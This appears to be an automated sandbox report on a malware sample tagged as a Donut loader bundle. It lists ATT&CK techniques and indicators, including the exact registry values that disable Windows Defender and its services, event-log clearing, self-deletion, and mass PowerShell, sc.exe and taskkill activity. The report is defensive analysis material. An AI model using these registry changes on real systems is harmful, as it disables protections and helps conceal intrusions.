donutloader | 050577bc035c621b6adee3c86bfc7fcab41d7bc4ca0d4414920ead2d8f55ab2b

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Detects executables containing artifacts associated with disabling Widnows Defender 4 IoCs

resource	yara_rule
behavioral2/files/0x001500000001c3f7-22.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/files/0x000e00000001c424-24.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1744-26-0x00007FF784490000-0x00007FF7858FD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/3112-27-0x00007FF7433D0000-0x00007FF74483D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 4 IoCs

resource	yara_rule
behavioral2/files/0x001500000001c3f7-22.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000e00000001c424-24.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/1744-26-0x00007FF784490000-0x00007FF7858FD000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/3112-27-0x00007FF7433D0000-0x00007FF74483D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables manipulated with Fody 4 IoCs

resource	yara_rule
behavioral2/files/0x001500000001c3f7-22.dat	INDICATOR_EXE_Packed_Fody
behavioral2/files/0x000e00000001c424-24.dat	INDICATOR_EXE_Packed_Fody
behavioral2/memory/1744-26-0x00007FF784490000-0x00007FF7858FD000-memory.dmp	INDICATOR_EXE_Packed_Fody
behavioral2/memory/3112-27-0x00007FF7433D0000-0x00007FF74483D000-memory.dmp	INDICATOR_EXE_Packed_Fody

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.exe
2596	powershell.exe
2380	powershell.exe
6724	powershell.exe
3712	powershell.exe
2460	powershell.exe
1728	powershell.exe
4424	powershell.exe
1156	powershell.exe
5752	powershell.exe
2700	powershell.exe
4736	powershell.exe
4968	powershell.exe
5044	powershell.exe
2200	powershell.exe
5092	powershell.exe
2916	powershell.exe
4976	powershell.exe
1824	powershell.exe
4248	powershell.exe
4232	powershell.exe
2016	powershell.exe
4308	powershell.exe
2132	powershell.exe

Deletes itself 1 IoCs

pid	Process
3112	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ixtiplpxsavmfvwcdcnrgllzmvnrjupd.__selfdelete__.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3112	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ixtiplpxsavmfvwcdcnrgllzmvnrjupd.__selfdelete__.exe
1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
5672	Process not Found

Indicator Removal: Clear Windows Event Logs 1 TTPs 33 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Wired-AutoConfig%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\winevt\Logs\Security.evtx	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Key Management Service.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-DHCPv6-Client%4Admin.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Dhcp-Client%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Windows Networking Vpn Plugin Platform%4OperationalVerbose.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Windows PowerShell.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-NlaSvc%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-DHCPv6-Client%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-NetworkProvisioning%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\OAlerts.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Windows Networking Vpn Plugin Platform%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-NetworkProvider%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-WindowsPhone-Connectivity-WiFiConnSvc-Channel.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Diagnostics-Networking%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Network Isolation Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Network-ExecutionContext%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Security.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\HardwareEvents.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Internet Explorer.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\System.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Application.evtx	svchost.exe

Loads dropped DLL 3 IoCs

pid	Process
1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
3712	powershell.exe
4736	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
6172	powercfg.exe
6716	powercfg.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\bearistx.dll	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
File opened for modification	C:\Windows\ServiceState\EventLog\Data\lastalive0.dat	svchost.exe
File opened for modification	C:\Windows\ServiceState\EventLog\Data\lastalive1.dat	svchost.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 5 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
2380	powershell.exe
6724	powershell.exe
3712	powershell.exe
1520	powershell.exe
2596	powershell.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4732	sc.exe
2360	sc.exe
3312	sc.exe
5792	sc.exe
1112	sc.exe
3048	sc.exe
2104	sc.exe
1596	sc.exe
4504	sc.exe
3360	sc.exe
5700	sc.exe
960	sc.exe
3448	sc.exe
4792	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5364	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Kills process with taskkill 5 IoCs

pid	Process
2648	taskkill.exe
2828	taskkill.exe
5396	taskkill.exe
768	taskkill.exe
2636	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
4536	reg.exe
8148	reg.exe
1124	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
4248	powershell.exe
4248	powershell.exe
2200	powershell.exe
1156	powershell.exe
2200	powershell.exe
1156	powershell.exe
1728	powershell.exe
1728	powershell.exe
4976	powershell.exe
4976	powershell.exe
5092	powershell.exe
5092	powershell.exe
4736	powershell.exe
4736	powershell.exe
1824	powershell.exe
1824	powershell.exe
2016	powershell.exe
2016	powershell.exe
4232	powershell.exe
4232	powershell.exe
4968	powershell.exe
4968	powershell.exe
2916	powershell.exe
2916	powershell.exe
2460	powershell.exe
2460	powershell.exe
2132	powershell.exe
2132	powershell.exe
4308	powershell.exe
4308	powershell.exe
5044	powershell.exe
5044	powershell.exe
5752	powershell.exe
5752	powershell.exe
2700	powershell.exe
2700	powershell.exe
4424	powershell.exe
4424	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
4968	powershell.exe
1520	powershell.exe
1520	powershell.exe
3712	powershell.exe
3712	powershell.exe
4736	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
2380	powershell.exe
2380	powershell.exe
4248	powershell.exe
2200	powershell.exe
1156	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe
3712	powershell.exe

Suspicious behavior: RenamesItself 2 IoCs

pid	Process
1744	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
1744	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5560	auditpol.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeRestorePrivilege	4144	reg.exe
Token: SeRestorePrivilege	2912	reg.exe
Token: SeRestorePrivilege	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeBackupPrivilege	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeTakeOwnershipPrivilege	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeDebugPrivilege	5396	taskkill.exe
Token: SeDebugPrivilege	768	taskkill.exe
Token: SeDebugPrivilege	2648	taskkill.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	2828	taskkill.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	2636	taskkill.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeSecurityPrivilege	932	auditpol.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeShutdownPrivilege	6172	powercfg.exe
Token: SeCreatePagefilePrivilege	6172	powercfg.exe
Token: SeShutdownPrivilege	6172	powercfg.exe
Token: SeCreatePagefilePrivilege	6172	powercfg.exe
Token: SeSecurityPrivilege	4324	auditpol.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeShutdownPrivilege	6716	powercfg.exe
Token: SeCreatePagefilePrivilege	6716	powercfg.exe
Token: SeShutdownPrivilege	6716	powercfg.exe
Token: SeCreatePagefilePrivilege	6716	powercfg.exe
Token: SeDebugPrivilege	6724	powershell.exe
Token: SeRestorePrivilege	7156	reg.exe
Token: SeSecurityPrivilege	2140	wevtutil.exe
Token: SeBackupPrivilege	2140	wevtutil.exe
Token: SeSecurityPrivilege	6388	wevtutil.exe
Token: SeBackupPrivilege	6388	wevtutil.exe
Token: SeSecurityPrivilege	3264	wevtutil.exe
Token: SeBackupPrivilege	3264	wevtutil.exe
Token: SeSecurityPrivilege	6532	wevtutil.exe
Token: SeBackupPrivilege	6532	wevtutil.exe
Token: SeSecurityPrivilege	2380	wevtutil.exe
Token: SeBackupPrivilege	2380	wevtutil.exe
Token: SeSecurityPrivilege	6472	wevtutil.exe
Token: SeBackupPrivilege	6472	wevtutil.exe
Token: SeSecurityPrivilege	5052	wevtutil.exe
Token: SeBackupPrivilege	5052	wevtutil.exe
Token: SeSecurityPrivilege	3760	wevtutil.exe
Token: SeBackupPrivilege	3760	wevtutil.exe
Token: SeSecurityPrivilege	1840	wevtutil.exe
Token: SeBackupPrivilege	1840	wevtutil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 1744	3528	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	89
PID 1744 wrote to memory of 3112	1744	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	90
PID 1744 wrote to memory of 1140	1744	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	91
PID 3112 wrote to memory of 5364	3112	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ixtiplpxsavmfvwcdcnrgllzmvnrjupd.__selfdelete__.exe	92
PID 1140 wrote to memory of 5560	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	93
PID 1140 wrote to memory of 1664	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	96
PID 1140 wrote to memory of 3712	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	97
PID 1140 wrote to memory of 892	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	100
PID 1664 wrote to memory of 5464	1664	net.exe	102
PID 892 wrote to memory of 5456	892	net.exe	103
PID 1140 wrote to memory of 4144	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	104
PID 1140 wrote to memory of 2912	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	106
PID 1140 wrote to memory of 1816	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	108
PID 1816 wrote to memory of 608	1816	net.exe	110
PID 1140 wrote to memory of 4248	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	111
PID 1140 wrote to memory of 5092	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	112
PID 1140 wrote to memory of 1824	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	113
PID 1140 wrote to memory of 2200	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	114
PID 1140 wrote to memory of 4732	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	115
PID 1140 wrote to memory of 4792	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	116
PID 1140 wrote to memory of 4504	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	117
PID 1140 wrote to memory of 3448	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	118
PID 1140 wrote to memory of 2360	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	266
PID 1140 wrote to memory of 960	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	120
PID 1140 wrote to memory of 1596	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	121
PID 1140 wrote to memory of 2104	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	122
PID 1140 wrote to memory of 5700	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	124
PID 1140 wrote to memory of 3048	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	273
PID 1140 wrote to memory of 1112	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	126
PID 1140 wrote to memory of 3360	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	127
PID 1140 wrote to memory of 5792	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	128
PID 1140 wrote to memory of 2132	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	129
PID 1140 wrote to memory of 5044	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	130
PID 1140 wrote to memory of 1156	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	131
PID 1140 wrote to memory of 4892	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	133
PID 1140 wrote to memory of 3764	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	134
PID 1140 wrote to memory of 2408	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	135
PID 1140 wrote to memory of 1920	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	137
PID 1140 wrote to memory of 4324	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	207
PID 1140 wrote to memory of 4308	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	139
PID 1140 wrote to memory of 4424	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	140
PID 1140 wrote to memory of 4976	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	142
PID 1140 wrote to memory of 1728	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	143
PID 1140 wrote to memory of 2016	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	145
PID 1140 wrote to memory of 4968	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	146
PID 1140 wrote to memory of 4736	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	147
PID 1140 wrote to memory of 3312	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	148
PID 1140 wrote to memory of 5396	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	297
PID 1140 wrote to memory of 2828	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	150
PID 1140 wrote to memory of 2648	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	279
PID 1140 wrote to memory of 2636	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	295
PID 1140 wrote to memory of 768	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	153
PID 1140 wrote to memory of 4232	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	154
PID 1140 wrote to memory of 2460	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	155
PID 1140 wrote to memory of 2700	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	156
PID 1140 wrote to memory of 5752	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	157
PID 1140 wrote to memory of 2916	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	158
PID 3712 wrote to memory of 4536	3712	powershell.exe	197
PID 1140 wrote to memory of 3152	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	198
PID 3152 wrote to memory of 4832	3152	net.exe	201
PID 1140 wrote to memory of 1520	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	227
PID 1140 wrote to memory of 932	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	203
PID 1140 wrote to memory of 2380	1140	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	237
